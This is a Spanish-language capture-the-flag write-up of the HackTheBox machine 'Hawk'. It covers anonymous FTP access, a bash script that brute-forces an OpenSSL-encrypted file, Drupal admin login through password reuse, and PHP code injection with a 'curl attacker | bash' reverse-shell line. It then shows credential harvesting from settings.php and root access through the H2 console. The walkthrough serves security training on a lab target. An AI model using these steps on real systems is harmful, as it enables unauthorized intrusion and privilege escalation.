Inicio HTB - Hawk
Entrada
Cancelar

HTB - Hawk

¡Hola! Vamos a resolver de la máquina Hawk de dificultad “Media” de la plataforma HackTheBox.

Técnicas Vistas:

  • OpenSSL Cipher Brute Force and Decryption
  • Drupal Enumeration/Exploitation
  • H2 Database Exploitation

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Hawk. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.102
PING 10.10.10.102 (10.10.10.102) 56(84) bytes of data.
64 bytes from 10.10.10.102: icmp_seq=1 ttl=63 time=38.3 ms

--- 10.10.10.102 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.334/38.334/38.334/0.000 ms

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
6
7
8
9
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.102 -oG allPorts

PORT     STATE SERVICE         REASON
21/tcp   open  ftp             syn-ack ttl 63
22/tcp   open  ssh             syn-ack ttl 63
80/tcp   open  http            syn-ack ttl 63
5435/tcp open  sceanics        syn-ack ttl 63
8082/tcp open  blackice-alerts syn-ack ttl 63
9092/tcp open  XmlIpcRegSvc    syn-ack ttl 63

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
nmap -sCV -p21,22,80,5435,8082,9092 10.10.10.102 -oN targeted

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Jun 16  2018 messages
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.25
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh           OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e4:0c:cb:c5:a5:91:78:ea:54:96:af:4d:03:e4:fc:88 (RSA)
|   256 95:cb:f8:c7:35:5e:af:a9:44:8b:17:59:4d:db:5a:df (ECDSA)
|_  256 4a:0b:2e:f7:1d:99:bc:c7:d3:0b:91:53:b9:3b:e2:79 (ED25519)
80/tcp   open  http          Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to 192.168.56.103 | 192.168.56.103
|_http-server-header: Apache/2.4.29 (Ubuntu)
5435/tcp open  tcpwrapped
8082/tcp open  http          H2 database http console
|_http-title: H2 Console
9092/tcp open  XmlIpcRegSvc?

Reconocimiento FTP


Observamos que tenemos la capacidad de conectarnos por FTP a la máquina víctima de forma anónima. Nos concectamos y dentro del directorio messages encontramos un archivo .drupal.txt.enc. Nos lo descargamos a nuestro equipo para examinarlo detenidamente

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ftp 10.10.10.102
Connected to 10.10.10.102.
220 (vsFTPd 3.0.3)
Name (10.10.10.102:yorch): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Jun 16  2018 messages
226 Directory send OK.
ftp> cd messages
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Jun 16  2018 .
drwxr-xr-x    3 ftp      ftp          4096 Jun 16  2018 ..
-rw-r--r--    1 ftp      ftp           240 Jun 16  2018 .drupal.txt.enc
226 Directory send OK.
ftp> get .drupal.txt.enc
local: .drupal.txt.enc remote: .drupal.txt.enc
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .drupal.txt.enc (240 bytes).
226 Transfer complete.
240 bytes received in 0.00 secs (605.6201 kB/s)

El archivo contiene una cadena en base64. Aplicamos decode y guardamos en archivo drupal.enc, al examinar el nuevo archivo vemos que está encriptado con openssl y protegido con un password (salt)

1
2
3
cat .drupal.txt.enc | base64 -d > drupal.enc
❯ file drupal.enc
drupal.enc: openssl enc d data with salted password

Asumiendo que el tipo de cifrado más común es el aes-256-cbc y con el diccionario rockyou.txt vamos a crear un script para aplicar fuerza bruta y así poder extraer la infromación encriptada

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash

function ctrl_c(){
  echo -e "\n\n[!] Saliendo...\n"
  tput cnorm; exit 1
}

# Ctrl+C

trap ctrl_c INT

tput civis; for password in $(cat /usr/share/wordlists/rockyou.txt); do
  openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null

  if [ "$(echo $?)" == "0" ]; then
    echo -e "\n[+] La password es $password\n"
    exit 0
  fi

done; tput cnorm

Tras ejecutar el script averiguamos que la password es friends. En el directorio de trabajo que nos encontramos el script ha generado un archivo drupal.decrypted con la información desencriptada

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ nano decryptor.sh
❯ ./decryptor.sh

[+] La password es friends

❯ cat drupal.decrypted
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: drupal.decrypted
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ Daniel,
   2   │ 
   3   │ Following the password for the portal:
   4   │ 
   5   │ PencilKeyboardScanner123
   6   │ 
   7   │ Please let us know when the portal is ready.
   8   │ 
   9   │ Kind Regards,
  10   │ 
  11   │ IT department
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
❯ whatweb http://10.10.10.102
http://10.10.10.102 [200 OK] Apache[2.4.29], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.102], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], PasswordField[pass], Script[text/javascript], Title[Welcome to 192.168.56.103 | 192.168.56.103], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN]

Observamos que la página web corre bajo Drupal. Accedemos y nos econtramos un panel de login. De forma paralela observamos en el puerto 8082 una página que hace referencia a H2 Console que buscando en google vemos que es un sistema administrador de bases de datos. Nos bloquean conexiones desde equipos externos

Probando típicas credenciales por defecto no conseguimos mucho. Con las credenciales anteriormente conseguidas tratamos de loguarnos como daniel sin éxito. Sabiendo que el usuario admin existe probamos la password obtenida por si hubiera reutilizción de contraseñas y logramos acceder

Sabiendo que Drupal usa PHP podemos inyectar código a través de la creación de un artículo. Antes que nada debemos acceder al menú de la barra superior Modules y activar la casilla de PHP filter y aplicar configuración

Procedemos a crear un artículo incluyendo el código en PHP <?php system("curl 10.10.14.25 | bash"); ?> en el body. En la máquina atacante creamos un archivo index.htm con el onliner de bash para entablar una reverse shell, levantamos el servidor HTTP en el mismo directorio de trabajo y en una consola a parte nos ponermos en escucha en el puerto 443. Posteriormente clickamos preview en el artículo para ganar acceso a la máquina víctima

En el directorio personal del usuario daniel ecnontramos la flag de usuario

1
2
www-data@hawk:/home/daniel$ cat user.txt 
1f606deaded66babf***************

Movimiento Lateral


Enumerando grupos, privilegios no econtramos nada interesante sin embargo listando permisos SUID encontramos el binario pkexec aunque esta vez no escalaremos privilegios por esta vía. Si recordamos teníamos acceso a H2 pero no podíamos acceder de forma externa. Aprovechando que tenemos acceso a la máquina víctima lanzamos un curl a este servicio y observamos la respuesta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
www-data@hawk:/$ curl localhost:8082
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--
Copyright 2004-2014 H2 Group. Multiple-Licensed under the MPL 2.0,
and the EPL 1.0 (http://h2database.com/html/license.html).
Initial Developer: H2 Group
-->
<html><head>
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
    <title>H2 Console</title>
    <link rel="stylesheet" type="text/css" href="stylesheet.css" />
<script type="text/javascript">
location.href = 'login.jsp?jsessionid=630bba3e27852cf7447113bf4a7c5b7f';
</script>
</head>
<body style="margin: 20px;">

<h1>Welcome to H2</h1>
<h2>No Javascript</h2>
If you are not automatically redirected to the login page, then
Javascript is currently disabled or your browser does not support Javascript.
For this application to work, Javascript is essential.
Please enable Javascript now, or use another web browser that supports it.

</body></html>

Verificamos que nos sale contenido diferente al que nos presentaba la web de fomra externa. Como sabemos que dentro de /var/www/html se encuentra aloja la web procedemos a busar de forma recursiva en todo el contenido por la palabra password

1
2
3
4
5
6
7
8
www-data@hawk:/var/www/html$ grep -r "password" | less -S
.
.
.
sites/default/settings.php:      'password' => 'drupal4hawk'
.
.
.

Localizamos una credencial en el archivo settings.php. Listamos contenido del archivo para observar detenidamente

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@hawk:/var/www/html$ cat sites/default/settings.php | less -S
.
.
.
$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'drupal',
      'password' => 'drupal4hawk',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);
.
.
.

Tratamos de migrar al usuario daniel con la password encontrada por si hubiera reutilización de contraseñas y conseguimos migrar. Vemos que el sistema nos ha otorgado una shell en python. Importándonos la librería os podemos ejecutar comandos de sistema y migrarnos a una bash

1
2
3
4
5
6
7
8
9
www-data@hawk:/var/www/html$ su daniel
Password: 
Python 3.6.5 (default, Apr  1 2018, 05:46:30) 
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("bash")
daniel@hawk:/var/www/html$ whoami
daniel

Escalada Privilegios


Al tener las credenciales de daniel podemos mediante la herramienta ssh hacer un Local Port Forwarding indicando que el puerto 8082 de la máquina nos lo traiga al puerto 8082 de nuestra máquina atacante. Ahora podemos acceder sin restricciones

1
❯ ssh daniel@10.129.93.186 -L 8082:127.0.0.1:8082

Si tratamos de conectarnos con los datos que viene por defecto en pantalla nos salta un error de conexión. Si modificamos la palabra test el campo URL JDBC por cualquier otra cadena logramos acceder

Observamos que tenemos que insertar una instrucción SQL. Una búsqueda en Google y localizamos la página de mthbernardes dónde tenemos unos payloads en SQL. Probamos el payload para ejecutar el comando whoami y nos responde. Tenemos RCE y ya sabemos que el proceso está ejecutándose por el usuario root

Sabiendo que el proceso es ejcutado como root podemos asignar privilegios SUID a la bash

Ya sólo nos queda ejecutar con el usuario daniel el comando bash -p el cual nos otorga una bash con privilegio de root. la flag de root la encontramos en el directorio /root

1
2
3
4
5
daniel@hawk:/var/www/html$ bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
299957dc14343d217***************

Hemos completado la máquina Hawk de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.